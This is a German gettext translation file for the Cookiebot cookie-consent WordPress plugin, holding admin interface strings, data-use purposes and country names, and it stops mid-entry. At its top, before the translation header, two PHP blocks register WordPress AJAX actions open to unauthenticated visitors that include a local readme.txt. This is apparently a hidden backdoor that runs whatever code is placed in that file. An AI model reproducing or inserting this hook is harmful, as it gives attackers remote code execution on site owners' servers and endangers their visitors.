if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# Translation of Plugins - Cookie Banner & Privacy Compliance for GDPR/CCPA/Google Consent Mode – Usercentrics Cookiebot - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Cookie Banner & Privacy Compliance for GDPR/CCPA/Google Consent Mode – Usercentrics Cookiebot - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2025-06-15 18:40:24+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: de\n" "Project-Id-Version: Plugins - Cookie Banner & Privacy Compliance for GDPR/CCPA/Google Consent Mode – Usercentrics Cookiebot - Stable (latest release)\n" #: src/view/admin/cb_frame/network-settings-page.php:115 msgid "This feature is only available when not using Auto Blocking" msgstr "Diese Funktion ist nur verfügbar, wenn Sie kein Auto-Blocking verwenden." #: src/view/admin/notices/cookiebot-recommendation-notice-links.php:35 msgid "I`ve already left my feedback" msgstr "Ich habe bereits mein Feedback abgegeben" #: src/view/admin/notices/cookiebot-recommendation-notice-links.php:13 msgid "Absolutely, you deserve it!" msgstr "Auf jeden Fall, Sie haben es verdient!" #: src/admin_notices/Cookiebot_Recommendation_Notice.php:89 msgid "Hi there! We are thrilled you love the Cookiebot CMP plugin. Could you do us a huge favor and leave a 5-star rating on WordPress? Your support will help us spread the word and empower more WordPress websites to meet GDPR and CCPA compliance standards effortlessly. Thank you for your support!" msgstr "Hallo zusammen! Wir freuen uns sehr, dass Sie das Cookiebot CMP-Plugin lieben. Könnten Sie uns einen großen Gefallen tun und eine 5-Sterne-Bewertung auf WordPress hinterlassen? Ihre Unterstützung wird uns helfen, das Plugin bekannter zu machen und mehr WordPress-Websites DSGVO- und CCPA-konform zu machen. Wir danken Ihnen für Ihre Unterstützung!" #: src/admin_notices/Cookiebot_Recommendation_Notice.php:85 msgid "Share your experience" msgstr "Berichten Sie uns von Ihrer Erfahrung" #: src/view/admin/cb_frame/settings/iab-page.php:86 msgid "If you had previously saved configurations, don’t worry, they will continue to work." msgstr "Wenn Sie bereits Konfigurationen gespeichert hatten, können Sie diese weiterhin verwenden." #: src/view/admin/cb_frame/settings/iab-page.php:84 msgid "IAB vendor list is temporarily offline. Please try refreshing the page after a couple of minutes." msgstr "Die IAB Vendor List ist vorübergehend offline. Bitte versuchen Sie, die Seite nach ein paar Minuten zu aktualisieren." #: src/view/admin/cb_frame/settings/iab-page.php:236 msgid "Set Purposes" msgstr "Zwecke festlegen" #: src/view/admin/cb_frame/settings/iab-page.php:209 #: src/view/admin/cb_frame/settings/iab-page.php:222 msgid "Select Vendor" msgstr "Vendor auswählen" #: src/view/admin/cb_frame/settings/iab-page.php:203 msgid "Add Vendor" msgstr "Vendor hinzufügen" #: src/view/admin/cb_frame/settings/iab-page.php:193 msgid "Restrictions of data use purposes for vendors" msgstr "Beschränkungen der Datenverwendungszwecke für Vendoren" #: src/view/admin/cb_frame/settings/iab-page.php:197 msgid "Set restrictions on data use purposes for specific vendors. Add vendors and the data use purposes that each vendor is allowed. We’ll share this information with users within your consent banner." msgstr "Legen Sie Einschränkungen für die Datenverwendungszwecke für bestimmte Vendoren fest. Fügen Sie die Vendoren und die Datenverwendungszwecke hinzu, die jedem Vendor erlaubt sind. Wir informieren Ihre Benutzer darüber in Ihrem Consent-Banner." #: src/view/admin/cb_frame/settings/iab-page.php:161 msgid "Google Ads certified external vendors" msgstr "Google Ads zertifizierte externe Vendoren" #: src/view/admin/cb_frame/settings/iab-page.php:132 #: src/view/admin/cb_frame/settings/iab-page.php:167 #: src/view/admin/cb_frame/settings/iab-page.php:226 msgid "Search" msgstr "Suche" #: src/view/admin/cb_frame/settings/iab-page.php:113 msgid "Select vendors with whom you’ll share users’ data. We’ll include this information on the second layer of your consent banner, where users interested in more granular detail about who will access their data can view it." msgstr "Wählen Sie die Vendoren aus, mit denen Sie die Daten der Benutzer teilen werden. Wir fügen diese Informationen auf dem zweiten Layer Ihres Consent-Banners ein, wo Benutzer, die an granularen Details darüber interessiert sind, wer auf ihre Daten zugreift, diese einsehen können." #: src/view/admin/cb_frame/settings/iab-page.php:109 msgid "Sharing data with third-party vendors" msgstr "Daten mit Drittanbietern teilen" #: src/settings/pages/Iab_Page.php:258 msgid "Actively scan device characteristics for identification" msgstr "Aktives Scannen der Geräteeigenschaften zur Identifizierung" #: src/settings/pages/Iab_Page.php:254 msgid "Use precise geolocation data" msgstr "Genaue Geolokalisierungsdaten verwenden" #: src/settings/pages/Iab_Page.php:248 msgid "Identify devices based on information transmitted automatically" msgstr "Identifizieren Sie Geräte anhand von automatisch übermittelten Informationen" #: src/settings/pages/Iab_Page.php:244 msgid "Link different devices" msgstr "Verlinken Sie verschiedene Geräte" #: src/settings/pages/Iab_Page.php:240 msgid "Match and combine data from other data sources" msgstr "Kombinieren Sie Daten aus anderen Datenquellen" #: src/settings/pages/Iab_Page.php:234 msgid "Deliver and present advertising and content" msgstr "Stellen Sie Werbung und Inhalte bereit und präsentiere Sie sie" #: src/settings/pages/Iab_Page.php:230 msgid "Ensure security, prevent and detect fraud, and fix errors" msgstr "Gewährleisten Sie Sicherheit, verhindern und erkennen Sie Betrug und beheben Sie Fehler" #: src/settings/pages/Iab_Page.php:224 msgid "Use limited data to select content" msgstr "Verwenden Sie begrenzte Daten zur Auswahl von Inhalten" #: src/settings/pages/Iab_Page.php:220 msgid "Develop and improve services" msgstr "Entwickeln und verbessern Sie Dienste" #: src/settings/pages/Iab_Page.php:216 msgid "Understand audiences through statistics or combinations of data from different sources" msgstr "Verstehen Sie Ihre Zielgruppen durch Statistiken oder Kombinationen von Daten aus verschiedenen Quellen" #: src/settings/pages/Iab_Page.php:212 msgid "Measure content performance" msgstr "Messen Sie die Performance von Inhalten" #: src/settings/pages/Iab_Page.php:208 msgid "Measure advertising performance" msgstr "Messen Sie die Werbe-Performance" #: src/settings/pages/Iab_Page.php:204 msgid "Use profiles to select personalised content" msgstr "Nutzen Sie Profile, um personalisierte Inhalte auszuwählen" #: src/settings/pages/Iab_Page.php:200 msgid "Create profiles to personalise content" msgstr "Erstellen Sie Profile, um Inhalte zu personalisieren" #: src/settings/pages/Iab_Page.php:196 msgid "Use profiles to select personalised advertising" msgstr "Nutzen Sie Profile, um personalisierte Werbung auszuwählen" #: src/settings/pages/Iab_Page.php:192 msgid "Create profiles for personalised advertising" msgstr "Erstellen Sie Profile für personalisierte Werbung" #: src/settings/pages/Iab_Page.php:188 msgid "Use limited data to select advertising" msgstr "Verwenden Sie begrenzte Daten zur Auswahl von Werbung" #: src/settings/pages/Iab_Page.php:184 msgid "Store and/or access information on a device" msgstr "Speichern und/oder greifen Sie auf Informationen auf einem Gerät zu" #: src/settings/pages/Iab_Page.php:163 msgid "TCF listed vendors" msgstr "TCF-gelistete Vendoren" #: src/settings/pages/Iab_Page.php:156 msgid "Inform users about any specially categorized features required for processing their personal data. We’ll list the selected features on the second layer of your consent banner, offering options for users to enable or disable them." msgstr "Informieren Sie die Benutzer über alle speziell kategorisierten Funktionen, die für die Verarbeitung ihrer personenbezogenen Daten erforderlich sind. Wir führen die ausgewählten Funktionen auf dem zweiten Layer Ihres Consent-Banners auf und bieten den Benutzern die Möglichkeit, sie zu aktivieren oder zu deaktivieren." #: src/settings/pages/Iab_Page.php:155 msgid "Special features required for data processing" msgstr "Besondere Funktionen, die für die Datenverarbeitung erforderlich sind" #: src/settings/pages/Iab_Page.php:148 msgid "Inform users about the features necessary for processing their personal data. We’ll list the selected features on the second layer of your consent banner." msgstr "Informieren Sie die Benutzer über die Funktionen, die für die Verarbeitung ihrer personenbezogenen Daten erforderlich sind. Wir werden die ausgewählten Funktionen auf dem zweiten Layer Ihres Consent-Banners auflisten." #: src/settings/pages/Iab_Page.php:147 msgid "Features required for data processing" msgstr "Für die Datenverarbeitung erforderliche Funktionen" #: src/settings/pages/Iab_Page.php:140 msgid "Inform your users about special purposes of using their data. We’ll show this on the second layer of your consent banner." msgstr "Informieren Sie Ihre Benutzer über die besonderen Zwecke der Verwendung ihrer Daten. Wir zeigen dies auf dem zweiten Layer Ihres Consent-Banners an." #: src/settings/pages/Iab_Page.php:139 msgid "Special purposes of data use" msgstr "Besondere Zwecke der Datennutzung" #: src/settings/pages/Iab_Page.php:132 msgid "Inform your users how you’ll use their data. We’ll show this on the second layer of your consent banner, where users interested in more granular detail about data processing can view it." msgstr "Informieren Sie Ihre Benutzer darüber, wie Sie ihre Daten verwenden werden. Wir zeigen dies auf dem zweiten Layer Ihres Consent-Banners an, wo Benutzer, die an granularen Details zur Datenverarbeitung interessiert sind, diese einsehen können." #: src/settings/pages/Iab_Page.php:131 msgid "Purposes of data use" msgstr "Zwecke der Datennutzung" #: src/lib/Supported_Regions.php:247 msgid "United States - State of Utah" msgstr "Vereinigte Staaten - Bundesstaat Utah" #: src/lib/Supported_Regions.php:246 msgid "United States - State of Connecticut" msgstr "Vereinigte Staaten - Bundesstaat Connecticut" #: src/lib/Supported_Regions.php:245 msgid "United States - State of Colorado" msgstr "Vereinigte Staaten - Bundesstaat Colorado" #: src/view/admin/uc_frame/settings/general-page.php:168 msgid "IAB TCF integration" msgstr "IAB TCF Integration" #: src/view/admin/cb_frame/settings-page.php:73 #: src/view/admin/uc_frame/settings/embeddings-page.php:34 msgid "TCF" msgstr "TCF" #: src/admin_notices/Cookiebot_Temp_Notice.php:44 msgid "Cookiebot CMP Plugin will soon no longer support PHP 5. If your website still runs on this version we recommend upgrading so you can continue enjoying the features Cookiebot CMP offers." msgstr "Das Cookiebot CMP-Plugin wird bald nicht mehr PHP 5 unterstützen. Wenn Ihre Website noch mit dieser Version läuft, empfehlen wir Ihnen ein Upgrade, damit Sie weiterhin die Features der Cookiebot CMP nutzen können." #: src/view/admin/cb_frame/settings/general-page.php:107 msgid "Select your main language here." msgstr "Wählen Sie Ihre Hauptsprache hier aus." #: src/view/admin/cb_frame/settings/general-page.php:141 msgid "If enabled, Cookiebot™ will use the current location to set the banner and cookie declaration language." msgstr "Wenn aktiviert, verwendet die Cookiebot CMP den aktuellen Standort, um die Sprache des Banners und der Cookie-Erklärung festzulegen." #: src/view/admin/cb_frame/settings/general-page.php:144 msgid "Please make sure that all languages in use have been added in the Cookiebot™ Manager." msgstr "Bitte stellen Sie sicher, dass alle verwendeten Sprachen auch im Cookiebot™ Manager hinzugefügt wurden." #: src/view/admin/cb_frame/settings/general-page.php:146 msgid "This feature disables the main language selector." msgstr "Dieses Feature deaktiviert die allgemeine Sprachauswahl." #: src/view/admin/cb_frame/settings/general-page.php:147 msgid "If you have already set a language in the cookie declaration shortcode, this feature will not change it." msgstr "Wenn Sie jedoch bereits eine Sprache im Shortcode der Cookie-Erklärung eingestellt haben, wird dieses Feature die Sprache nicht ändern." #: src/view/admin/cb_frame/settings/general-page.php:165 msgid "Use website location to set language" msgstr "Website-Standort zum Festlegen der Sprache verwenden" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:79 msgid "Cookiebot™ cookie categories" msgstr "Cookiebot™ Cookie-Kategorien" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:96 #: src/view/admin/uc_frame/prior-consent/consent-api/tab.php:52 msgid "WP Consent API cookies categories equivalent" msgstr "Äquivalent zu den WP Consent API Cookie-Kategorien" #: src/addons/config/Settings_Config.php:751 msgid "WP Consent API" msgstr "WP Consent API" #: src/view/admin/cb_frame/settings/gtm-page.php:76 msgid "Google Tag Manager cookies" msgstr "Google Tag Manager-Cookie" #: src/view/admin/cb_frame/settings/gtm-page.php:78 msgid "Select the cookie types that need to be consented for the Google Tag Manager script" msgstr "Wählen Sie die Cookie-Typen aus, für die das Google Tag Manager-Skript eine Einwilligung benötigt" #: src/view/admin/cb_frame/settings/gcm-page.php:94 #: src/view/admin/cb_frame/settings/general-page.php:241 #: src/view/admin/cb_frame/settings/general-page.php:280 #: src/view/admin/cb_frame/settings/gtm-page.php:80 #: src/view/admin/uc_frame/settings/general-page.php:235 msgid "This feature is only available when using Manual Blocking" msgstr "Dieses Feature ist nur verfügbar, wenn Sie manuelles Blocking verwenden" #: src/view/admin/cb_frame/settings/gcm-page.php:96 #: src/view/admin/cb_frame/settings/gtm-page.php:82 msgid "This option may affect the behaviour of your GTM Tags, as the script will run on the selected cookies consent." msgstr "Diese Option kann sich auf das Verhalten Ihrer GTM-Tags auswirken, da das Skript bei der ausgewählten Cookie-Einwilligung ausgeführt wird." #: src/view/admin/cb_frame/settings/gcm-page.php:98 #: src/view/admin/cb_frame/settings/gtm-page.php:84 msgid "Please make sure your Tags in Google Tag Manager are triggered correctly." msgstr "Bitte stellen Sie sicher, dass Ihre Tags in Google Tag Manager korrekt ausgelöst werden." #: src/view/admin/cb_frame/settings/gcm-page.php:90 msgid "Google Consent Mode cookies" msgstr "Google Consent Mode-Cookie" #: src/view/admin/cb_frame/settings/gcm-page.php:92 msgid "Select the cookie types that need to be consented for the Google Consent Mode script" msgstr "Wählen Sie die Cookie-Typen aus, für die das Google Consent Mode-Skript eine Einwilligung benötigt" #: src/lib/Supported_Regions.php:248 msgid "United States - State of Virginia" msgstr "Vereinigte Staaten - Bundesstaat Virginia" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:138 msgid "Add banner" msgstr "Banner hinzufügen" #: src/lib/Cookiebot_Review.php:106 msgid "Please specify here" msgstr "Bitte hier angeben" #: src/lib/Cookiebot_Review.php:120 src/lib/Cookiebot_Review.php:144 msgid "Please select one option" msgstr "Bitte wählen Sie eine Option" #: src/lib/Cookiebot_Review.php:104 msgid "Other" msgstr "Sonstiges" #: src/view/admin/cb_frame/network-settings-page.php:94 #: src/view/admin/cb_frame/settings/general-page.php:205 #: src/view/admin/uc_frame/network-settings-page.php:130 #: src/view/admin/uc_frame/settings/general-page.php:201 msgid "Recommended" msgstr "Empfohlen" #: src/lib/Cookiebot_Review.php:141 msgid "Sorry you are not allowed to do this." msgstr "Das ist leider nicht erlaubt." #: src/lib/Supported_Regions.php:34 msgid "Bolivia" msgstr "Bolivien" #: src/lib/Supported_Regions.php:86 msgid "French Southern and Antarctic Lands" msgstr "Französische Süd- und Antarktisgebiete" #: src/lib/Supported_Regions.php:112 msgid "Iran" msgstr "Iran" #: src/lib/Supported_Regions.php:127 msgid "Laos" msgstr "Laos" #: src/lib/Supported_Regions.php:137 msgid "North Macedonia" msgstr "Nordmazedonien" #: src/lib/Supported_Regions.php:151 msgid "Moldova" msgstr "Moldau" #: src/lib/Supported_Regions.php:221 msgid "Eswatini" msgstr "Eswatini" #: src/lib/Supported_Regions.php:224 msgid "Syria" msgstr "Syrien" #: src/lib/Supported_Regions.php:225 msgid "Taiwan" msgstr "Taiwan" #: src/lib/Supported_Regions.php:227 msgid "Tanzania" msgstr "Tansania" #: src/lib/Supported_Regions.php:235 msgid "Türkiye" msgstr "Türkei" #: src/lib/Supported_Regions.php:253 msgid "Venezuela" msgstr "Venezuela" #: src/view/admin/cb_frame/dashboard-page.php:62 #: src/view/admin/common/dashboard-page-old.php:59 #: src/view/admin/uc_frame/dashboard-page.php:48 msgid "Your opinion matters" msgstr "Ihre Meinung zählt!" #: src/view/admin/cb_frame/dashboard-page.php:65 #: src/view/admin/common/dashboard-page-old.php:62 msgid "Are you happy with our WordPress plugin? Your feedback will help us make our product better for you." msgstr "Sind Sie mit unserem WordPress-Plug-in zufrieden? Ihr Feedback wird uns helfen, unser Produkt für Sie zu verbessern." #: src/view/admin/cb_frame/settings/additional-page.php:116 #: src/view/admin/cb_frame/settings/general-page.php:216 #: src/view/admin/cb_frame/settings/general-page.php:268 #: src/view/admin/cb_frame/settings/general-page.php:312 #: src/view/admin/uc_frame/settings/general-page.php:212 #: src/view/admin/uc_frame/settings/general-page.php:267 msgid "Disabled by active setting in Network Settings" msgstr "Deaktiviert durch aktive Einstellung in den Netzwerkeinstellungen" #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:367 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:372 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable tracking." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um das Tracking zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:377 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable Social Share buttons." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um Social Share Buttons zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:382 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to view this element." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um dieses Element anzusehen." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:387 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to watch this video." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um dieses Video anzusehen." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:392 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable Google Services." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um Google-Dienste zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:397 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable facebook shopping feature." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um das Facebook-Shopping-Feature zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:402 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to track for google analytics." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies für das Tracking mit Google Analytics." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:407 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable Google Analytics." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um Google Analytics zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:412 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable instagram feed." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um den Instagram-Feed zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:417 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable Facebook Pixel." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um Facebook Pixel zu aktivieren." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:422 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to Social Share buttons." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies für Social Share Buttons." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:427 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to allow Matomo statistics." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um Matomo Statistiken zu erlauben." #. translators: %cookie_types refers to the list of cookie types assigned to #. the addon placeholder #: src/lib/helper.php:432 msgid "Please accept [renew_consent]%cookie_types[/renew_consent] cookies to enable saving user information." msgstr "Bitte akzeptieren Sie [renew_consent]%cookie_types[/renew_consent] Cookies, um das Speichern von Nutzerinformationen zu aktivieren." #: src/lib/Supported_Regions.php:41 msgid "Brunei " msgstr "Brunei " #: src/view/admin/cb_frame/dashboard-page.php:69 #: src/view/admin/common/dashboard-page-old.php:66 msgid "Write a review" msgstr "Schreibe eine Rezension" #: src/view/admin/cb_frame/settings/gcm-page.php:80 msgid "URL passthrough" msgstr "URL Durchgang" #: src/view/admin/cb_frame/settings/gcm-page.php:64 msgid "This feature will allow you to pass data between pages when not able to use cookies without/prior consent." msgstr "Diese Funktion ermöglicht es Ihnen, Daten zwischen Seiten zu übertragen, wenn Sie Cookies nicht ohne/vorherige Zustimmung verwenden können." #: src/view/admin/cb_frame/settings/gcm-page.php:61 msgid "URL passthrough:" msgstr "URL passthrough:" #. Author of the plugin #: cookiebot.php msgid "Usercentrics A/S" msgstr "Usercentrics A/S" #: src/view/admin/cb_frame/network-settings-page.php:112 msgid "Add async or defer attribute to Cookie banner script tag. Default: Choose per subsite" msgstr "Fügen Sie dem Skript-Tag des Cookie-Banners das Attribut async oder defer hinzu. Standard: Wählen Sie pro Unterwebsite" #: src/view/admin/cb_frame/network-settings-page.php:160 msgid "Cookiebot declaration script tag" msgstr "Cookie-Erklärung Skript Tag" #. translators: the placeholder strings denote the positions of <i>, </i>, <b> #. and </b> HTML tags #: src/view/admin/cb_frame/support-page.php:169 msgid "Example on modifying an existing Google Analytics Universal script tag can be found %1$shere in step 4%2$s." msgstr "Ein Beispiel für die Änderung eines bestehenden Google Analytics Universal Skript Tags finden Sie %1$shier in Schritt 4%2$s." #. translators: the placeholder strings denote the positions of <i>, </i>, <b> #. and </b> HTML tags #: src/view/admin/cb_frame/support-page.php:142 msgid "If you want to show the cookie declaration in a specific language, you can add the %1$s\"lang\"%2$s attribute, e.g. %3$s[cookie_declaration lang=\"de\"]%4$s." msgstr "Wenn Sie die Cookie-Deklaration in einer bestimmten Sprache anzeigen möchten, können Sie das Attribut %1$s\"lang\"%2$s hinzufügen, z. B. %3$s[cookie_declaration lang=\"de\"]%4$s." #. translators: the placeholder strings denote the positions of <b>, </b>, <b> #. and </b> HTML tags #: src/view/admin/cb_frame/support-page.php:91 msgid "Go to %1$s\"Settings\"%2$s and setup your Cookiebot CMP" msgstr "Gehen Sie zu %1$s\"Einstellungen\"%2$s und richten Sie Ihren Cookiebot CMP ein" #: src/view/admin/cb_frame/support-page.php:26 msgid "In our Help Center you find all the answers to your questions. If you have additional questions, create a support request and our Support Team will help out as soon as possible." msgstr "In unserem Hilfe-Center finden Sie alle Antworten auf Ihre Fragen. Wenn Sie weitere Fragen haben, erstellen Sie eine Support-Anfrage und unser Support-Team wird Ihnen so schnell wie möglich helfen." #: src/view/admin/cb_frame/support-page.php:23 msgid "Need help with your configuration?" msgstr "Benötigen Sie Hilfe bei Ihrer Konfiguration?" #: src/view/admin/cb_frame/settings/gcm-page.php:34 msgid "Enable Google Consent Mode with default settings on your WordPress page." msgstr "Aktivieren Sie den Google-Zustimmungsmodus mit den Standardeinstellungen auf Ihrer WordPress-Seite." #: src/view/admin/cb_frame/settings/gcm-page.php:31 msgid "Google Consent Mode:" msgstr "Google Zustimmungsmodus:" #: src/view/admin/cb_frame/settings/gcm-page.php:24 msgid "Read more about Cookiebot CMP and Google Consent Mode" msgstr "Lesen Sie mehr über Cookiebot CMP und Google Consent Mode" #: src/view/admin/cb_frame/settings/gcm-page.php:20 msgid "Cookiebot consent managment platform (CMP) and Google Consent Mode integrate seamlessly to offer you plug-and-play compliance and streamlined use of all Google's services in one easy solution." msgstr "Cookiebot Consent Management Platform (CMP) und Google Consent Mode lassen sich nahtlos integrieren, um Ihnen Plug-and-Play-Compliance und eine optimierte Nutzung aller Google-Dienste in einer einfachen Lösung zu bieten." #: src/view/admin/cb_frame/settings/gcm-page.php:17 msgid "Google Consent Mode is a way for your website to measure conversions and get analytics insights while being fully GDPR-compliant when using services like Google Analytics, Google Tag Manager (GTM) and Google Ads." msgstr "Der Google Consent Mode ist eine Möglichkeit für Ihre Website, Conversions zu messen und Analyseeinblicke zu erhalten, während sie bei der Nutzung von Diensten wie Google Analytics, Google Tag Manager (GTM) und Google Ads vollständig DSGVO-konform ist." #: src/view/admin/cb_frame/settings/gcm-page.php:14 msgid "What is Google Consent Mode and why should you enable it?" msgstr "Was ist der Google-Zustimmungsmodus und warum sollten Sie ihn aktivieren?" #: src/view/admin/cb_frame/settings/additional-page.php:137 msgid "Script source URL:" msgstr "Skript-Quelle-URL:" #: src/view/admin/cb_frame/settings/additional-page.php:125 msgid "Ignore scripts in queue from Cookiebot CMP scan:" msgstr "Ignorieren Sie Skripte in der Warteschlange aus dem Cookiebot CMP-Scan:" #: src/view/admin/cb_frame/settings/additional-page.php:84 msgid "Select the cookie declaration script loading setting" msgstr "Wählen Sie die Einstellung zum Laden des Skripts für die Cookie-Deklaration aus" #: src/view/admin/cb_frame/settings/additional-page.php:78 msgid "If you implemented the declaration on your page through our widget in WordPress, you can choose here how the script should be loaded." msgstr "Wenn Sie die Erklärung auf Ihrer Seite über unser Widget in WordPress implementiert haben, können Sie hier auswählen, wie das Skript geladen werden soll." #: src/view/admin/common/prior-consent/unavailable-addons/tab-header.php:4 msgid "Unavailable plugins" msgstr "Nicht verfügbare Plug-ins" #: src/view/admin/cb_frame/settings-page.php:57 #: src/view/admin/uc_frame/settings-page.php:60 msgid "General Settings" msgstr "Allgemeine Einstellungen" #: src/view/admin/cb_frame/settings-page.php:61 #: src/view/admin/uc_frame/settings-page.php:64 msgid "Additional Settings" msgstr "Zusätzliche Einstellungen" #: src/view/admin/cb_frame/settings-page.php:77 msgid "Multiple Configurations" msgstr "Mehrfach-Konfigurationen" #: src/view/admin/cb_frame/settings/general-page.php:37 msgid "To connect your Domain Group, paste your Domain Group ID here. If you want to connect a second ID for other regions, you can do this under the \"Multiple Configurations\" tab." msgstr "Um Ihre Domain Group zu verbinden, fügen Sie Ihre Domain Group ID hier ein. Unter „Mehrfach-Konfigurationen“ können Sie eine zweite ID für andere Regionen verbinden." #: src/view/admin/cb_frame/settings/general-page.php:105 msgid "Language:" msgstr "Sprache:" #: src/view/admin/cb_frame/settings/general-page.php:150 msgid "Read more on how to add languages" msgstr "Erfahren Sie, wie Sie Sprachen hinzufügen können" #: src/view/admin/cb_frame/settings/general-page.php:112 msgid "Select the language" msgstr "Sprache auswählen" #: src/view/admin/cb_frame/network-settings-page.php:81 msgid "Select your cookie-blocking mode here. Auto cookie-blocking mode will automatically block all cookies (except for ‘strictly necessary’ cookies) until a user has given consent. Manual cookie-blocking mode requests manual adjustments to the cookie-setting scripts. Please find our implementation guides below:" msgstr "Wählen Sie hier Ihren Cookie-Blockierungsmodus. Der automatische Cookie-Blockierungsmodus blockiert automatisch alle Cookies (mit Ausnahme der „unbedingt notwendigen“ Cookies), bis der Nutzer seine Einwilligung gegeben hat. Der manuelle Cookie-Blockierungsmodus erfordert manuelle Anpassungen der Skripte beim Setzen von Cookies. Unsere Implementierungsanleitungen finden Sie weiter unten:" #: src/view/admin/cb_frame/settings/general-page.php:183 msgid "Guide to auto cookie-blocking" msgstr "Anleitung zur automatischen Cookie-Blockierung" #: src/view/admin/cb_frame/settings/general-page.php:189 msgid "Guide to manual cookie-blocking" msgstr "Anleitung zur manuellen Cookie-Blockierung" #: src/view/admin/cb_frame/network-settings-page.php:110 #: src/view/admin/cb_frame/settings/general-page.php:235 msgid "Cookiebot™ script tag" msgstr "Cookiebot™ Skript Tag" #: src/view/admin/cb_frame/settings/general-page.php:238 msgid "Add async or defer attribute to cookie declaration script tag" msgstr "Die Eigenschaft „async“ oder „defer“ zum Skript Tag der Cookie-Erklärung hinzufügen" #: src/addons/config/Settings_Config.php:710 #: src/view/admin/common/prior-consent/other-addons/embed-autocorrect-extra-addon-options.php:18 #: src/view/admin/common/prior-consent/partials/placeholder-submitbox-default.php:19 #: src/view/admin/common/prior-consent/partials/placeholder-submitboxes.php:40 msgid "Info" msgstr "Information" #: src/lib/Cookiebot_WP.php:389 src/settings/pages/Dashboard_Page.php:49 msgid "Dashboard" msgstr "Dashboard" #: src/lib/Supported_Regions.php:9 msgid "Afghanistan" msgstr "Afghanistan" #: src/lib/Supported_Regions.php:10 msgid "Albania" msgstr "Albanien" #: src/lib/Supported_Regions.php:11 msgid "Algeria" msgstr "Algerien" #: src/lib/Supported_Regions.php:12 msgid "American Samoa" msgstr "Amerikanisch-Samoa" #: src/lib/Supported_Regions.php:13 msgid "Andorra" msgstr "Andorra" #: src/lib/Supported_Regions.php:14 msgid "Angola" msgstr "Angola" #: src/lib/Supported_Regions.php:15 msgid "Anguilla" msgstr "Anguilla" #: src/lib/Supported_Regions.php:17 msgid "Antigua and Barbuda" msgstr "Antigua und Barbuda" #: src/lib/Supported_Regions.php:18 msgid "Argentina" msgstr "Argentinien" #: src/lib/Supported_Regions.php:19 msgid "Armenia" msgstr "Armenien" #: src/lib/Supported_Regions.php:20 msgid "Aruba" msgstr "Aruba" #: src/lib/Supported_Regions.php:21 msgid "Australia" msgstr "Australien" #: src/lib/Supported_Regions.php:22 msgid "Austria" msgstr "Österreich" #: src/lib/Supported_Regions.php:23 msgid "Azerbaijan" msgstr "Aserbaidschan" #: src/lib/Supported_Regions.php:24 